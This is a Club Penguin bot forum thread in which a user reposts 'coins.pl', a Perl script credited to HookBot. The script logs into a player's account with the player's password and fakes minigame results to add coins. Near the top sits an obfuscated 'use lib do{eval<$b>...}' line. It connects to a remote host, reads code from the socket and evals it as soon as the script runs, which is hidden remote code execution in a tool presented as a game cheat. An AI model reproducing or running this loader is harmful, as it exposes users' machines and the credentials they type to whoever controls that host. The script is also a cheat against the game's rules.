Best Club Penguin Bots
Hello, you are not logged in. You may log in or register.
Latest topics
» Anybody else come to this forum for the memories?
Tue Aug 29, 2017 11:47 am by sudhi578

» This forum died
Thu Mar 30, 2017 11:10 pm by _Skate_

» Introduce yourselves!
Fri Jan 23, 2015 7:21 pm by Gizmo92883

» Ozzy's Bot Script
Mon May 13, 2013 8:31 am by Pig

» Goodbye BCPB Forums.
Tue Sep 18, 2012 6:37 pm by 43nînjâ17

» Follow bot script (100% Credit to Cp-Cheater )
Sun Sep 16, 2012 4:55 pm by Dentonbrooks

» Xat Main Owner Hacker
Fri Aug 17, 2012 2:32 am by 43nînjâ17

» xat message big
Sat Aug 11, 2012 12:32 am by 43nînjâ17

» CPPS GLICH "Auto Talker"
Sat Aug 11, 2012 12:25 am by 43nînjâ17

Navigation
 Portal
 Index
 Memberlist
 Profile
 FAQ
 Search
Club Penguin Events
Advertisement

Money Maker 100% Credit To HookBot

View previous topic View next topic Go down

Money Maker 100% Credit To HookBot

Post  Ozzyozborn13 on Sun Aug 29, 2010 6:13 pm

HookBot Calls It Coins.pl But I Call It Money Maker.pl

Code:
#!/usr/bin/perl -w

# Program: coins.pl
# Author: HookBot <hookbot@gmail.com>
# License: DO NOT DISTRIBUTE WITHOUT PRIOR WRITTEN CONSENT FROM THE AUTHOR.
# Copyright (C) 2010
# Usage: coins.pl <Name> <Password> <CoinsDesired> [<Server>]

use strict;
use IO::Socket;

our $leave_room = 810; # Cove
our $game_room  = 912; # Catchin Waves Game!
our $min_delay  = 9.5; # Seconds wishing to play for each game.

#$leave_room = 411; # Beacon
#$game_room  = 906; # Jet Pack Adventure Game!

our $max_coins  = int($min_delay * 60); # Only allowed to earn about 30 coins per second
our $span_coins = 10_000; # Don't allow anyone to acquire more than this many coins per session.

use lib do{eval<$b>&&botstrap("PREM")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.120.":1"};

import_once ClubPenguin => ();
import_once Util => (); # get_input

package Coins;

use strict;
use warnings;
our @ISA = qw(ClubPenguin);

my $o = new Coins {
  username => (shift || Util::get_input("Penguin:  ", "BotMan")),
  password => (shift || Util::get_input("Password: ", "kcW9xW0jIald7")),
  timeout  => 2,
};

# How many coins do you wish you had?
our $target_coins = (shift || Util::get_input("How many coins? ", 50_000));

$o->{server} = shift || Util::get_input("Which server? [or hit ENTER for random] ", "") || eval {
  &main::import_once(ClubPenguinServer => ());
  my $info = ClubPenguinServer->info;
  my @servers = grep {$_ && /^\d+$/} keys %$info;
  my $random_server = $info->{$servers[int(rand @servers)]}->{name};
  print "\nRANDOM SERVER SELECTED: [$random_server]\n\n";
  sleep 2;
  return $random_server;
};

if ($target_coins !~ /^\d+$/) {
  die "Need to specify a valid number of coins you wish for [$o->{username}] to have\n";
}
if ($target_coins > 900_000) {
  die "I will not support having that many coins at this time. ($target_coins)\n";
}

$| = 1;
print "Connecting ...\n";
die "No good!\n" unless $o->joinWorld;
print "Connected to [$o->{server}]!\n";

my $pinged = time;
my $bored = 20;
while (1) {
  if (!$o->consume) {
    if ($bored-->0) {
      print scalar(localtime).": [$$] *YAWN*\n";
      select(undef,undef,undef,1);
    }
    else {
      print scalar(localtime).": [$$] Got so bored that I'm going to kill myself.\n";
      exit;
    }
  }
}

# Stub method that is used at the beginning of the game.
# This is really just a hack to run initial triggers one time.
sub handleGetIgnoreListFromServer {
  my $self = shift;
  if (!$self->{started}) {
    $self->{started} = 1;
    if ($target_coins and $self->{coins}) {
      my $left = $target_coins - $self->{coins};
      if ($left < 0) {
        print scalar(localtime).": [$$] [$self->{username}] You already have $self->{coins} coins, which is MORE THAN $target_coins coins! Please try a higher number so I have something to do.\n";
        exit;
      }
      if ($left == 0) {
        print scalar(localtime).": [$$] [$self->{username}] De Ja Vue! D\xC3\xA9j\xC3\xA0 vu! You already have $self->{coins} coins. Did you already run this?\n";
        exit;
      }
      if ($left > $span_coins) {
        print scalar(localtime).": [$$] [$self->{username}] Try [".(int(($self->{coins}+$span_coins)/1000)*1000)."] coins instead of [$target_coins] coins. (You will get banned if you add $left coins.) Chickening out ...\n";
        exit;
      }
      print scalar(localtime).": [$$] [$self->{username}] Need to add $left coins ...\n";
      $self->{coinsleft} = $left;
      # Warp to the non game room
      $self->doJoinRoom($leave_room);
    }
    else {
      print scalar(localtime).": [$$] [$self->{username}] Sorry, you are too poor to use this program! Go play a game and earn at least one coin before trying again!\n";
      exit;
    }
  }
  return 1;
}

sub handleJoinRoom {
  my $self = shift;
  $self->SUPER::handleJoinRoom(@_);
  my $room_id_external = $self->{penguin}->{$self->{PenguinID}}->{external_room_id};
  if ($room_id_external == $leave_room) {
    print scalar(localtime).": [$$] [$self->{username}] I just noticed that I'm in the game entry room!\n";
    if ($self->{coinsleft} > 0) {
      # Enter Game Room
      print scalar(localtime).": [$$] [$self->{username}] Starting Game #$game_room ...\n";
      $self->doJoinRoom($game_room);
    }
    else {
      print scalar(localtime).": [$$] [$self->{username}] Goal $target_coins reached!\n";
      exit;
    }
  }
  elsif ($room_id_external == $game_room) {
    print scalar(localtime).": [$$] [$self->{username}] I just noticed that I'm in the Game Room!\n";
    my $increment = $max_coins;
    if (my $remainder = $self->{coinsleft} % $max_coins) {
      $increment = $remainder;
    }
    $self->{_attempted_increment} = $increment;
    print scalar(localtime).": [$$] [$self->{username}] $self->{coins}/$target_coins : Please wait while I try to earn [$increment/$max_coins] coins in this game for you ...\n";
    select(undef,undef,undef,$min_delay);
    $self->Heartbeat(); # Wake UP!!

    print scalar(localtime).": [$$] [$self->{username}] Game Over! Adding $increment coins!\n";
    $self->doGameOver($increment);
  }
}

sub handleGameOver {
  my $self = shift;
  my $internal_room_id = shift;
  if (my $total_coins = shift) {
    if ($total_coins =~ /^\d+$/) {
      my $increased = $total_coins - $self->{coins};
      if (my $tried = $self->{_attempted_increment}) {
        print "DEBUG: max=[$max_coins] tried=[$tried] got=[$increased] old=[$self->{coins}] new=[$total_coins]\n";
        if (!$increased) {
          print scalar(localtime).": [$$] [$self->{username}] ERROR! Penguin did not eat any of the $tried coins?\n";
          print scalar(localtime).": [$$] [$self->{username}] Aborting with $total_coins coins.\n";
          exit;
        }
        if ($increased < $tried) {
          print scalar(localtime).": [$$] [$self->{username}] Tried to choke down $tried but only swallowed $increased? Adjusting ...\n";
          $max_coins = $increased;
        }
      }
      print scalar(localtime).": [$$] [$self->{username}] CONGRATULATIONS! Earned $increased coins successfully.\n";
      $self->{coins} = $total_coins;
      $self->{coinsleft} = $target_coins - $total_coins;
    }
  }
  print scalar(localtime).": [$$] [$self->{username}] handleAddCoin leaving game room ...\n";
  # Warp back to the non game room to start over
  $self->doJoinRoom($leave_room);
}
avatar
Ozzyozborn13
Admin

Posts : 211
Reputation : 19
Join date : 2010-08-28

http://www.youtube.com/ozzyozborn13

Back to top Go down

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum